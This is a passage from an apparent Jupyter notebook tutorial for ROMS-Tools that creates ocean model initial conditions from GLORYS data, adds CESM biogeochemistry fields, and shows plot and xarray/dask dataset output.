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", "text/plain": [ "<Figure size 900x500 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "with ProgressBar():\n", " %time initial_conditions.plot(\"v\", xi=0, layer_contours=True)" ] }, { "cell_type": "markdown", "id": "9eaf1ed8-4d2a-49fa-a3af-a90cb7ebc047", "metadata": {}, "source": [ "## Adding BGC initial conditions\n", "\n", "We now want to prepare a simulation in which we run ROMS with MARBL biogeochemistry (BGC), so we need to prepare both physical and BGC initial conditions. We create physical and BGC initial conditions together because ROMS needs a single initial conditions file. We use \n", "\n", "* GLORYS data to create our physical initial conditions, i.e., temperature, salinity, sea surface height, and velocities\n", "* a biogeochemical (BGC) CESM climatology to create our BGC initial conditions\n", "\n", "The CESM climatology is located here." ] }, { "cell_type": "code", "execution_count": 21, "id": "53ded9a1-a7f3-4d19-a796-88ed1b579412", "metadata": { "tags": [] }, "outputs": [], "source": [ "bgc_path = \"/global/cfs/projectdirs/m4746/Datasets/CESM_REGRIDDED/CESM-climatology_lowres_regridded.nc\"" ] }, { "cell_type": "markdown", "id": "02fdb22e-ff16-47dc-9b7a-c241f8d74e1e", "metadata": {}, "source": [ "The initial conditions are created as above, but now with additional information about the `bgc_source`." ] }, { "cell_type": "code", "execution_count": 22, "id": "f959a281-1766-4a5f-bd87-55234dafc9c9", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Selected time entry closest to the specified start_time (2012-01-02 00:00:00) within the range [2012-01-02 00:00:00, 2012-01-03 00:00:00]: ['2012-01-02T12:00:00.000000000']\n", "CPU times: user 2min 16s, sys: 840 ms, total: 2min 17s\n", "Wall time: 14.1 s\n" ] } ], "source": [ "%%time\n", "initial_conditions_with_bgc = InitialConditions(\n", " grid=grid,\n", " ini_time=ini_time,\n", " source={\"name\": \"GLORYS\", \"path\": path},\n", " bgc_source={\n", " \"name\": \"CESM_REGRIDDED\",\n", " \"path\": bgc_path,\n", " \"climatology\": True,\n", " }, # bgc_source is optional\n", " use_dask=True, # default is False\n", ")" ] }, { "cell_type": "code", "execution_count": 23, "id": "c702f32c-af84-4327-9971-a7ed9da0373d", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 0c-8.837 0-16 2.239-16 5v4c0 2.761 7.163 5 16 5s16-2.239 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!important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 154MB\n", "Dimensions: (ocean_time: 1, s_rho: 100, eta_rho: 102, xi_rho: 102,\n", " xi_u: 101, eta_v: 101, s_w: 101)\n", "Coordinates:\n", " abs_time (ocean_time) datetime64[ns] 8B 2012-01-02T12:00:00\n", " * ocean_time (ocean_time) float64 8B 3.788e+08\n", "Dimensions without coordinates: s_rho, eta_rho, xi_rho, xi_u, eta_v, s_w\n", "Data variables: (12/42)\n", " temp (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;\n", " salt (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;\n", " u (ocean_time, s_rho, eta_rho, xi_u) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 101), meta=np.ndarray&gt;\n", " v (ocean_time, s_rho, eta_v, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 101, 102), meta=np.ndarray&gt;\n", " zeta (ocean_time, eta_rho, xi_rho) float32 42kB -0.4969 ... -0.9301\n", " ubar (ocean_time, eta_rho, xi_u) float32 41kB dask.array&lt;chunksize=(1, 102, 101), meta=np.ndarray&gt;\n", " ... ...\n", " diazFe (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;\n", " spCaCO3 (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;\n", " zooC (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;\n", " w (ocean_time, s_w, eta_rho, xi_rho) float32 4MB 0.0 0.0 ... 0.0\n", " Cs_r (s_rho) float32 400B -0.992 -0.9753 ... -8.89e-05 -9.874e-06\n", " Cs_w (s_w) float32 404B -1.0 -0.9837 -0.9667 ... -3.95e-05 0.0\n", "Attributes:\n", " title: ROMS initial conditions file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " ini_time: 2012-01-02 00:00:00\n", " model_reference_date: 2000-01-01 00:00:00\n", " source: GLORYS\n", " bgc_source: CESM_REGRIDDED\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-bd0fa0a4-cb08-409e-94ba-b9d665221e13' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-bd0fa0a4-cb08-409e-94ba-b9d665221e13' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span class='xr-has-index'>ocean_time</span>: 1</li><li><span>s_rho</span>: 100</li><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li><li><span>xi_u</span>: 101</li><li><span>eta_v</span>: 101</li><li><span>s_w</span>: 101</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-abacb002-04be-46bb-a8dd-6556ca925b54' class='xr-section-summary-in' type='checkbox' checked><label for='section-abacb002-04be-46bb-a8dd-6556ca925b54' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(ocean_time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-02T12:00:00</div><input id='attrs-3fd015f9-8d5a-4a4a-bd4a-fadbf2181e20' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-3fd015f9-8d5a-4a4a-bd4a-fadbf2181e20' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-61cf94de-3e9f-471b-9889-68762ccf086c' class='xr-var-data-in' type='checkbox'><label for='data-61cf94de-3e9f-471b-9889-68762ccf086c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-02T12:00:00.000000000&#x27;], dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>ocean_time</span></div><div class='xr-var-dims'>(ocean_time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>3.788e+08</div><input id='attrs-a3c472f3-abc6-4655-b7ae-5206affb7c3d' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-a3c472f3-abc6-4655-b7ae-5206affb7c3d' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-13bd2cdc-2631-46f1-9205-cf89d4b900e6' class='xr-var-data-in' type='checkbox'><label for='data-13bd2cdc-2631-46f1-9205-cf89d4b900e6' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>seconds since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>seconds</dd></dl></div><div class='xr-var-data'><pre>array([3.788208e+08])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-3c3c8e00-f559-498a-a58e-0632e7bff4ce' class='xr-section-summary-in' type='checkbox' ><label for='section-3c3c8e00-f559-498a-a58e-0632e7bff4ce' class='xr-section-summary' >Data variables: <span>(42)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>temp</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-b9a05c16-59a0-41ce-b371-8349c1aa93d8' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-b9a05c16-59a0-41ce-b371-8349c1aa93d8' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-a80bcaed-1e80-4132-914f-0f202ae13eaa' class='xr-var-data-in' type='checkbox'><label for='data-a80bcaed-1e80-4132-914f-0f202ae13eaa' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 73 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 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class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-8e0cc834-41bf-4b55-950b-227fcf12937b' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-8e0cc834-41bf-4b55-950b-227fcf12937b' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-56a2b490-0de2-4eb5-bebe-f6b8490a4c7b' class='xr-var-data-in' type='checkbox'><label for='data-56a2b490-0de2-4eb5-bebe-f6b8490a4c7b' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>salinity</dd><dt><span>units :</span></dt><dd>PSU</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 73 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" 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class='xr-var-name'><span>u</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 101), meta=np.ndarray&gt;</div><input id='attrs-99889c89-ba2e-41e0-913e-dd788b850514' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-99889c89-ba2e-41e0-913e-dd788b850514' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-2aef3d90-3972-4dc5-a9ea-fd7323c586d9' class='xr-var-data-in' type='checkbox'><label for='data-2aef3d90-3972-4dc5-a9ea-fd7323c586d9' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.93 MiB </td>\n", " <td> 3.93 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 101) </td>\n", " <td> (1, 100, 102, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 106 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"428\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.93 MiB </td>\n", " <td> 3.93 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 101, 102) </td>\n", " <td> (1, 100, 101, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 106 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " 